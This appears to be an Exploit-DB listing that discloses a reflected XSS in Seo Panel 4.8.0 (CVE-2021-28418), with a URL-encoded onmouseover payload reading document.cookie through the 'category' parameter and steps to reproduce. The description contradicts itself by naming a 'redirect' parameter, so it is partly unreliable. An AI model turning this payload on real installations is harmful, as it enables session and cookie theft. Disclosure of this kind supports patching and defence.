Seo Panel 4.8.0 - 'category' Reflected XSS

vendor:

Seo Panel

by:

Piyush Patil

4.8

CVSS

MEDIUM

Reflected XSS

CWE

Product Name: Seo Panel

Affected Version From: 4.8.0

Affected Version To: 4.8.0

Patch Exists: YES

Related CWE: CVE-2021-28418

CPE: a:seopanel:seo_panel:4.8.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10, Kali

2021

Seo Panel 4.8.0 – ‘category’ Reflected XSS

A cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the "redirect" parameter. The payload used was x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22 and the steps to reproduce were to login to the SEO admin panel, visit http://localhost/settings.php?category=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22 and hover the mouse to the "Cancel" field.

Mitigation:

Input validation and output encoding should be used to prevent XSS attacks.

Source

Exploit-DB raw data:

# Exploit Title: Seo Panel 4.8.0 - 'category' Reflected XSS
# Date: 22-03-2021
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.seopanel.org/
# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0
# Version: Seo Panel 4.8.0
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-28418


-Description:
A cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the "redirect" parameter.

-Payload used:
x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22

-Steps to reproduce:
1- Login to SEO admin panel
2- Visit:
http://localhost/settings.php?category=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22
3- Hover your mouse to "Cancel" field